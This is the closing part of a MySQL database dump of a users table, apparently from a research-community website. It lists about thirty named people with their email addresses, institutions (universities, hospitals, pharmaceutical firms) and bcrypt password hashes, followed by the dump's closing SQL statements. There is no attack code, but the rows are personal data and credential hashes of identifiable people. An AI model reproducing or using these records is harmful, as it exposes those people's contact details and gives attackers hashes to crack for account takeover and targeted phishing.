	(1804,'Marik','Kardel','marik@nzavs.org.nz',NULL,'$2y$10$AWU.bNb2DsxHBwOCg6iFGOVlX7n/g5PKIbJBoFnmp4DkGpzk/miqK','NZAVS',NULL,'2022-03-31 13:18:15','2022-03-31 13:18:15'),
	(1805,'Peter','Bang','pba@ssi.dk',NULL,'$2y$10$cJQq9rtCwYzXFPMMTLYAEOkPMW3ruRo201b.FDJxSWmmTXgC4Eixy','Statens Serum Institut',NULL,'2022-03-31 13:18:15','2022-03-31 13:18:15'),
	(1806,'Maurits','Jansen','m.a.jansen@ed.ac.uk',NULL,'$2y$10$ebaEcir3rXAxItKX6eExze.EhZ1tDNH90CEHoyvxn7BsCfscOIc/e','University of Edinburgh',NULL,'2022-03-31 13:18:16','2022-03-31 13:18:16'),
	(1807,'Elise','Radtke','Elise.Radtke@dlr.de',NULL,'$2y$10$DQlvaVvWW38Gt8GLp8kREOq622yy.ip1yoj0/KatH6vhQEI2YfsF6','DLR-PT',NULL,'2022-03-31 13:18:16','2022-03-31 13:18:16'),
	(1808,'Özge','Sungur','sungur@staff.uni-marburg.de',NULL,'$2y$10$qmuIKplLHkYIwX.NbwUGaeNmADx/8mnsSRSxsyFgksIyWui9BsNku','Philipps University Marburg',NULL,'2022-03-31 13:18:16','2022-03-31 13:18:16'),
	(1809,'Marta','Camprubí','marta.camprubi@sjd.es',NULL,'$2y$10$c8KArEtpkaRJuFIBXeWGQOS1MYKsXuffzxvF2QxJVENM.yWkjd8Oa','Hospital Sant Joan de Déu',NULL,'2022-03-31 13:18:16','2022-03-31 13:18:16'),
	(1810,'Neha','S','neha.sasidharan1899@gmail.com',NULL,'$2y$10$qdxQiED5zN/iBTv11uN6.uzMRbYA0Uz1r0nrR.oWda5OdO8BxEtum','DE Shaw Research',NULL,'2022-03-31 13:18:16','2022-03-31 13:18:16'),
	(1811,'Francesca','Pischiutta','francesca.pischiutta@marionegri.it',NULL,'$2y$10$Ef.DbhkjXcjZ2i4dv4iueepO5fgjwapeLbAVri3gjoQL//GKWylP2','Istituto di Ricerche Farmacologiche Mario Negri',NULL,'2022-03-31 13:18:16','2022-03-31 13:18:16'),
	(1812,'Nieky','van Veggel','nv@writtle.ac.uk',NULL,'$2y$10$/7ItkPG/yFmoynSjAAGKVe0sCdh/gVqJmp0Xw4j66duUU29m0x.cu','Writtle University College',NULL,'2022-03-31 13:18:16','2022-03-31 13:18:16'),
	(1813,'Iolanda','ces','i.ces@czvaccines.com',NULL,'$2y$10$nR95JIzeD/1seAkRjxBMheE0hoNQxokx5daAF2.aPyERRLMTl7Tcy','cz vaccines',NULL,'2022-03-31 13:18:16','2022-03-31 13:18:16'),
	(1814,'Dorien','van de Pol','dorien.vandepol@radboudumc.nl',NULL,'$2y$10$l.rL3ymUfZKxLp/KYZhAEeosas4RTpmV/kLe3YWnQJmixaiy03xaK','RadboudUMC',NULL,'2022-03-31 13:18:16','2022-03-31 13:18:16'),
	(1815,'Eva','Lendaro','eva.lendaro@gmail.com',NULL,'$2y$10$9WX.RY9YalZJO6DdZShxgeuOzIIyXXwkrvzgcJMi7uIGlH6Kn.xwG','Chalmers University of Technology',NULL,'2022-03-31 13:18:16','2022-03-31 13:18:16'),
	(1816,'Ika','Kadariswantiningsih','ikanindya@gmail.com',NULL,'$2y$10$Jk6T819eTkjW44awkJTWQO/sjX/TARMf1vNTEJ1ZRgE/glcI/zJn6','Chiba University',NULL,'2022-03-31 13:18:16','2022-03-31 13:18:16'),
	(1817,'Max','pol','yeval31613@submic.com',NULL,'$2y$10$MXkMW/Z9sT88eYNE0eMA.eh.tZy7AiaX/57oXhcA6f2vkxEX3YVgm','gyan',NULL,'2022-03-31 13:18:16','2022-03-31 13:18:16'),
	(1818,'Muhammad','Shaikh','shaikh.ishtiaque@gmail.com',NULL,'$2y$10$6EEuQpUNXy67.BRPgcnnP.Ts4w0uDc8pDPVUy91T.VSek5WuQpDIO','Sindh Institute of Urology and Transplantation',NULL,'2022-03-31 13:18:16','2022-03-31 13:18:16'),
	(1819,'Boris','Arts','b.arts@tue.nl',NULL,'$2y$10$iT26NlvuXSzoTIqzNcoODOs268XvoXWoVVabp4omcNdAuIZ/GlKyW','Eindhoven University of Technology',NULL,'2022-03-31 13:18:16','2022-03-31 13:18:16'),
	(1820,'Nesrin','Schmiedel','Nesrin.Schmiedel@uksh.de',NULL,'$2y$10$F4oq.HN0ZhaFM1E5NVdq6.MLsn1UjRPjOPe39QZQJHP05W9XpI8LK','Universitätsklinikum Schleswig-Holstein',NULL,'2022-03-31 13:18:16','2022-03-31 13:18:16'),
	(1821,'Franco','Guscetti','gufo@vetpath.uzh.ch',NULL,'$2y$10$xFiqTWjZl6mgrwBSjfyZ8.aPo/thVtdaPmrF9CnKJlGRepkFEtcWy','University of Zurich',NULL,'2022-03-31 13:18:16','2022-03-31 13:18:16'),
	(1822,'Stina','Tucker','stina.tucker@su.se',NULL,'$2y$10$K4pWePKadqEtgfLO7NvPX.YiU2fggHBYsaeKkRE/AwOsXDMUX2J0S','Stockholm University',NULL,'2022-03-31 13:18:16','2022-03-31 13:18:16'),
	(1823,'Anja','Dijkstra','a.v.dijkstra@amsterdamumc.nl',NULL,'$2y$10$VCoa/fTabmIK5./HwutxfOcFjolVq7.rkX3AhTGMbYei4oib286Bq','Amsterdam UMC',NULL,'2022-03-31 13:18:16','2022-03-31 13:18:16'),
	(1824,'Sharon','Ngondo','stngondo@gmail.com',NULL,'$2y$10$ylnei.W0RUYVEdT1pbHjIeZlPQYAISKduZygRWSR32ayTrPLHS5ra','Northeastern University',NULL,'2022-03-31 13:18:16','2022-03-31 13:18:16'),
	(1825,'Y','QY','yqyhhhhh@gmail.com',NULL,'$2y$10$a3o3ml/daEb39aPXhyv9UezEKUJTnEPHkWw.SonHnZjYI3bwNG8aG','NJU',NULL,'2022-03-31 13:18:16','2022-03-31 13:18:16'),
	(1826,'Tobias','Schaldemose','tsc@chemometec.com',NULL,'$2y$10$jIXBir12o3Lk8o.Z7w15TOsNJqqk79Qz7ueORV5g4zY7Wv1F9ONl2','ChemoMetec',NULL,'2022-03-31 13:18:16','2022-03-31 13:18:16'),
	(1827,'Zivile','Tabere','zivile@formedics.lt',NULL,'$2y$10$1zOCnXQi4noKSAZLEFycbuvNXEXJVvGPUVRfT4.mITEXxifqx0J0S','JSC Formedics',NULL,'2022-03-31 13:18:16','2022-03-31 13:18:16'),
	(1828,'Ameera','Lotfy','amira.lotfy.dent@o6u.edu.eg',NULL,'$2y$10$7vw7L1tYwS8s6RwuEUdzbu6w8MFhrnCMLx0U6P4wZNsbXs2Tzcxbq','October Six University',NULL,'2022-03-31 13:18:17','2022-03-31 13:18:17'),
	(1829,'Pilar','Vinardell','mpvinardellmh@ub.edu',NULL,'$2y$10$XeFrWf0sHP1T3r9uzqtnqOaRx/k/LwH3sMfS7aWa2xCNqHTyAdoKW','Universitat de Barcelona',NULL,'2022-03-31 13:18:17','2022-03-31 13:18:17'),
	(1830,'Èric','Yherla','yherla@ub.edu',NULL,'$2y$10$gXBZkjUZ1thK.wiCRZSNpuMV9aMlDjBPCoMj8LublUV6DCzRtxj3K','Universitat de Barcelona',NULL,'2022-03-31 13:18:17','2022-03-31 13:18:17'),
	(1831,'mohit','sharma','mohit.biotech@gmail.com',NULL,'$2y$10$jlnff2PR3gZOeojlZ4oNaOwjzCfC9ZhsA1u1c53ogMTlaNY./ZK3y','Nobel Ilac',NULL,'2022-03-31 13:18:17','2022-03-31 13:18:17'),
	(1832,'Eva','Furrer','eva.furrer@uzh.ch',NULL,'$2y$10$u5ZEB3KTXG3bdX/sPThBi.cr6gdfCmct/oz0FyAtHotBpzuCw.T2O','University of Zurich',NULL,'2022-03-31 13:18:17','2022-03-31 13:18:17'),
	(1833,'Carmen','Embregts','c.embregts@erasmusmc.nl',NULL,'$2y$10$MAL2aVDQ/uVvhDVml7lLlOKdbl6odaWEmCMsfakTHj.PZcFfTGzAC','Erasmus MC',NULL,'2022-03-31 13:18:17','2022-03-31 13:18:17'),
	(1834,'Mina','Hanna','drmina@elromanyophthalmics.com',NULL,'$2y$10$/NZoOnJwwDQJlgxjsG2SMOuzyneqn3qeLkrIAvs/AYP8FKFhBu3l.','El Romany Ophthalmics',NULL,'2022-03-31 13:18:17','2022-03-31 13:18:17'),
	(1835,'David','Trietschel','david.trietschel@med.uni-jena.de',NULL,'$2y$10$DMHHAJ8c21MJytnPzs.TO.0W8Be2eEbocngnLABjyQEVzTgmfGfZ6','University Hospital Jena, Dpt. Animal Welfare',NULL,'2022-03-31 13:18:17','2022-03-31 13:18:17'),
	(1836,'Evgeniya','Platonova','platonova@scamt-itmo.ru',NULL,'$2y$10$Cyh6kVekIWBoK/gj9aWvTeSbHuqrT1yF2GGf0ru8kgqlYzmbBgkxG','ITMO University',NULL,'2022-03-31 13:18:17','2022-03-31 13:18:17');

/*!40000 ALTER TABLE `users` ENABLE KEYS */;
UNLOCK TABLES;



/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
